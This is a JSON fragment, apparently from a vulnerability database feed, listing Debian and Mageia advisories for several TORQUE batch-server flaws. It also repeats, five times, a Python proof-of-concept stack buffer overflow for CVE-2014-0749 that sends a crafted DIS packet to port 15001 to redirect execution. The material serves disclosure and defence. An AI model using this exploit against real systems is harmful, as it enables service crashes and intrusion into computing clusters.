10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-23T09:19:39", "id": "DEBIAN:DSA-2936-1:21E9F", "href": "https://lists.debian.org/debian-security-announce/2014/msg00117.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "osv": [{"lastseen": "2022-08-10T07:08:50", "description": "\nBartlomiej Balcerek discovered several buffer overflows in TORQUE server,\na PBS-derived batch processing server. This allows an attacker to crash the\nservice or execute arbitrary code with privileges of the server via crafted\njob or host names.\n\n\nThe oldstable distribution (lenny) does not contain torque.\n\n\nFor the stable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze1.\n\n\nFor the testing distribution (wheezy), this problem has been fixed in\nversion 2.4.15+dfsg-1.\n\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.15+dfsg-1.\n\n\nWe recommend that you upgrade your torque packages.\n\n\n", "cvss3": {}, "published": "2011-10-27T00:00:00", "type": "osv", "title": "torque - buffer overflow", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2022-08-10T07:08:47", "id": "OSV:DSA-2329-1", "href": "https://osv.dev/vulnerability/DSA-2329-1", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-08-10T07:06:05", "description": "\nJohn Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\nvulnerability in torque, a PBS-derived batch processing queueing system.\n\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs\\_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\n\nA user who can run jobs or login to a node running pbs\\_server or pbs\\_mom\ncan exploit this vulnerability to remotely execute code as root on the\ncluster by submitting a command directly to a pbs\\_mom daemon\nto queue and run a job.\n\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze2.\n\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u1.\n\n\nFor the unstable distribution (sid), this problem will be fixed soon.\n\n\nWe recommend that you upgrade your torque packages.\n\n\n", "cvss3": {}, "published": "2013-10-09T00:00:00", "type": "osv", "title": "torque - authentication bypass", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2022-08-10T07:06:02", "id": "OSV:DSA-2770-1", "href": "https://osv.dev/vulnerability/DSA-2770-1", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-08-10T07:09:08", "description": "\nMatt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs\\_server.\n\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze3.\n\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u2.\n\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.3.\n\n\nWe recommend that you upgrade your torque packages.\n\n\n", "cvss3": {}, "published": "2013-11-13T00:00:00", "type": "osv", "title": "torque - arbitrary code execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2022-08-10T07:09:06", "id": "OSV:DSA-2796-1", "href": "https://osv.dev/vulnerability/DSA-2796-1", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-21T08:28:50", "description": "\nJohn Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing system.\nAn unauthenticated remote attacker could exploit this flaw to execute\narbitrary code with root privileges.\n\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze4.\n\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u3.\n\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.4.\n\n\nWe recommend that you upgrade your torque packages.\n\n\n", "cvss3": {}, "published": "2014-05-23T00:00:00", "type": "osv", "title": "torque - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0749"], "modified": "2022-07-21T05:48:17", "id": "OSV:DSA-2936-1", "href": "https://osv.dev/vulnerability/DSA-2936-1", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mageia": [{"lastseen": "2022-04-18T11:19:34", "description": "Updated torque package fixes security vulnerability: A non-priviledged user who was able to run jobs or login to a node which ran pbs_server or pbs_mom, could submit arbitrary jobs to a pbs_mom daemon to queue and run the job, which would run as root (CVE-2013-4319). \n", "cvss3": {}, "published": "2013-10-17T19:03:34", "type": "mageia", "title": "Updated torque packages fix CVE-2013-4319\n", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2013-10-17T19:03:34", "id": "MGASA-2013-0308", "href": "https://advisories.mageia.org/MGASA-2013-0308.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-04-18T11:19:34", "description": "Updated torque packages fix security vulnerability: A user could submit executable shell commands on the tail of what is passed with the -M switch for qsub. This was later passed to a pipe, making it possible for these commands to be executed as root on the pbs_server (CVE-2013-4495). \n", "cvss3": {}, "published": "2013-11-18T14:41:45", "type": "mageia", "title": "Updated torque packages fix CVE-2013-4495\n", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2013-11-18T14:41:45", "id": "MGASA-2013-0327", "href": "https://advisories.mageia.org/MGASA-2013-0327.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2018-03-03T03:40:45", "description": "Exploit for linux platform in category remote exploits", "cvss3": {}, "published": "2014-06-01T00:00:00", "type": "zdt", "title": "TORQUE Resource Manager 2.5.x-2.5.13 - Stack Based Buffer Overflow Stub", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2014-06-01T00:00:00", "id": "1337DAY-ID-22301", "href": "https://0day.today/exploit/description/22301", "sourceData": "#!/usr/bin/env python\r\n# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub\r\n# Date: 27 May 2014\r\n# Exploit Author: bwall - @botnet_hunter\r\n# Vulnerability discovered by: MWR Labs\r\n# CVE: CVE-2014-0749\r\n# Vendor Homepage: http://www.adaptivecomputing.com/\r\n# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/\r\n# Version: 2.5.13\r\n# Tested on: Manjaro x64\r\n# Description:\r\n# A buffer overflow while parsing the DIS network communication protocol. It is triggered when requesting that\r\n# a larger amount of data than the small buffer be read. The first digit supplied is the number of digits in the\r\n# data, the next digits are the actual size of the buffer.\r\n#\r\n# This is an exploit stub, meant to be a quick proof of concept. This was built and tested for a 64 bit system\r\n# with ASLR disabled. Since Adaptive Computing does not supply binary distributions, TORQUE will likely be\r\n# compiled on the target system. The result of this exploit is intended to just point RIP at 'exit()'\r\n \r\nimport socket\r\n \r\n \r\nip = \"172.16.246.177\"\r\nport = 15001\r\n \r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((ip, port))\r\n \r\noffset = 143\r\nheader = str(len(str(offset))) + str(offset) + '1'\r\n \r\npacket = header\r\npacket += \"\\x00\" * (140 - len(packet))\r\npacket += ('\\xc0\\x18\\x76\\xf7\\xff\\x7f\\x00\\x00') # exit() may require a different offset in your build\r\n \r\ns.sendall(packet)\r\ndata = s.recv(1024)\r\ns.close()\n\n# 0day.today [2018-03-03] #", "sourceHref": "https://0day.today/exploit/22301", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:50", "description": "\nTORQUE Resource Manager 2.5.x 2.5.13 - Stack Buffer Overflow Stub", "cvss3": {}, "published": "2014-05-28T00:00:00", "type": "exploitpack", "title": "TORQUE Resource Manager 2.5.x 2.5.13 - Stack Buffer Overflow Stub", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-28T00:00:00", "id": "EXPLOITPACK:8FB219FFE4B8AEECDED9BDABBBAC76ED", "href": "", "sourceData": "#!/usr/bin/env python\n# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub\n# Date: 27 May 2014\n# Exploit Author: bwall - @botnet_hunter\n# Vulnerability discovered by: MWR Labs\n# CVE: CVE-2014-0749\n# Vendor Homepage: http://www.adaptivecomputing.com/\n# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/\n# Version: 2.5.13\n# Tested on: Manjaro x64\n# Description:\n# A buffer overflow while parsing the DIS network communication protocol. It is triggered when requesting that\n# a larger amount of data than the small buffer be read. The first digit supplied is the number of digits in the\n# data, the next digits are the actual size of the buffer.\n#\n# This is an exploit stub, meant to be a quick proof of concept. This was built and tested for a 64 bit system\n# with ASLR disabled. Since Adaptive Computing does not supply binary distributions, TORQUE will likely be\n# compiled on the target system. The result of this exploit is intended to just point RIP at 'exit()'\n\nimport socket\n\n\nip = \"172.16.246.177\"\nport = 15001\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((ip, port))\n\noffset = 143\nheader = str(len(str(offset))) + str(offset) + '1'\n\npacket = header\npacket += \"\\x00\" * (140 - len(packet))\npacket += ('\\xc0\\x18\\x76\\xf7\\xff\\x7f\\x00\\x00') # exit() may require a different offset in your build\n\ns.sendall(packet)\ndata = s.recv(1024)\ns.close()", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:18:13", "description": "", "cvss3": {}, "published": "2014-05-30T00:00:00", "type": "packetstorm", "title": "TORQUE Resource Manager 2.5.13 Buffer Overflow", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-30T00:00:00", "id": "PACKETSTORM:126855", "href": "https://packetstormsecurity.com/files/126855/TORQUE-Resource-Manager-2.5.13-Buffer-Overflow.html", "sourceData": "`#!/usr/bin/env python \n# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub \n# Date: 27 May 2014 \n# Exploit Author: bwall - @botnet_hunter \n# Vulnerability discovered by: MWR Labs \n# CVE: CVE-2014-0749 \n# Vendor Homepage: http://www.adaptivecomputing.com/ \n# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/ \n# Version: 2.5.13 \n# Tested on: Manjaro x64 \n# Description: \n# A buffer overflow while parsing the DIS network communication protocol. It is triggered when requesting that \n# a larger amount of data than the small buffer be read. The first digit supplied is the number of digits in the \n# data, the next digits are the actual size of the buffer. \n# \n# This is an exploit stub, meant to be a quick proof of concept. This was built and tested for a 64 bit system \n# with ASLR disabled. Since Adaptive Computing does not supply binary distributions, TORQUE will likely be \n# compiled on the target system. The result of this exploit is intended to just point RIP at 'exit()' \n \nimport socket \n \n \nip = \"172.16.246.177\" \nport = 15001 \n \ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \ns.connect((ip, port)) \n \noffset = 143 \nheader = str(len(str(offset))) + str(offset) + '1' \n \npacket = header \npacket += \"\\x00\" * (140 - len(packet)) \npacket += ('\\xc0\\x18\\x76\\xf7\\xff\\x7f\\x00\\x00') # exit() may require a different offset in your build \n \ns.sendall(packet) \ndata = s.recv(1024) \ns.close() \n`\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/126855/torquerm-overflow.txt"}], "seebug": [{"lastseen": "2017-11-19T21:18:52", "description": "No description provided by source.", "published": "2014-07-01T00:00:00", "title": "TORQUE Resource Manager 2.5.x-2.5.13 - Stack Based Buffer Overflow Stub", "type": "seebug", "bulletinFamily": "exploit", "cvelist": ["CVE-2014-0749"], "modified": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-86762", "id": "SSV:86762", "sourceData": "\n #!/usr/bin/env python\r\n# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub\r\n# Date: 27 May 2014\r\n# Exploit Author: bwall - @botnet_hunter\r\n# Vulnerability discovered by: MWR Labs\r\n# CVE: CVE-2014-0749\r\n# Vendor Homepage: http://www.adaptivecomputing.com/\r\n# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/\r\n# Version: 2.5.13\r\n# Tested on: Manjaro x64\r\n# Description:\r\n# A buffer overflow while parsing the DIS network communication protocol. It is triggered when requesting that\r\n# a larger amount of data than the small buffer be read. The first digit supplied is the number of digits in the\r\n# data, the next digits are the actual size of the buffer.\r\n#\r\n# This is an exploit stub, meant to be a quick proof of concept. This was built and tested for a 64 bit system\r\n# with ASLR disabled. Since Adaptive Computing does not supply binary distributions, TORQUE will likely be\r\n# compiled on the target system. The result of this exploit is intended to just point RIP at &#39;exit()&#39;\r\n\r\nimport socket\r\n\r\n\r\nip = &#34;172.16.246.177&#34;\r\nport = 15001\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((ip, port))\r\n\r\noffset = 143\r\nheader = str(len(str(offset))) + str(offset) + &#39;1&#39;\r\n\r\npacket = header\r\npacket += &#34;\\x00&#34; * (140 - len(packet))\r\npacket += (&#39;\\xc0\\x18\\x76\\xf7\\xff\\x7f\\x00\\x00&#39;) # exit() may require a different offset in your build\r\n\r\ns.sendall(packet)\r\ndata = s.recv(1024)\r\ns.close()\n ", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-86762"}], "exploitdb": [{"lastseen": "2022-08-16T08:28:10", "description": "", "cvss3": {}, "published": "2014-05-28T00:00:00", "type": "exploitdb", "title": "TORQUE Resource Manager 2.5.x &lt; 2.5.13 - Stack Buffer Overflow Stub", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2014-0749", "CVE-2014-0749"], "modified": "2014-05-28T00:00:00", "id": "EDB-ID:33554", "href": "https://www.exploit-db.com/exploits/33554", "sourceData": "#!/usr/bin/env python\r\n# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub\r\n# Date: 27 May 2014\r\n# Exploit Author: bwall - @botnet_hunter\r\n# Vulnerability discovered by: MWR Labs\r\n# CVE: CVE-2014-0749\r\n# Vendor Homepage: http://www.adaptivecomputing.com/\r\n# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/\r\n# Version: 2.5.13\r\n# Tested on: Manjaro x64\r\n# Description:\r\n# A buffer overflow while parsing the DIS network communication protocol. It is triggered when requesting that\r\n# a larger amount of data than the small buffer be read. The first digit supplied is the number of digits in the\r\n# data, the next digits are the actual size of the buffer.\r\n#\r\n# This is an exploit stub, meant to be a quick proof of concept. This was built and tested for a 64 bit system\r\n# with ASLR disabled. Since Adaptive Computing does not supply binary distributions, TORQUE will likely be\r\n# compiled on the target system. The result of this exploit is intended to just point RIP at 'exit()'\r\n\r\nimport socket\r\n\r\n\r\nip = \"172.16.246.177\"\r\nport = 15001\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((ip, port))\r\n\r\noffset = 143\r\nheader = str(len(str(offset))) + str(offset) + '1'\r\n\r\npacket = header\r\npacket += \"\\x00\" * (140 - len(packet))\r\npacket += ('\\xc0\\x18\\x76\\xf7\\xff\\x7f\\x00\\x00') # exit() may require a different offset in your build\r\n\r\ns.sendall(packet)\r\ndata = s.recv(1024)\r\ns.close()", "sourceHref": "https://www.exploit-db.com/download/33554", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}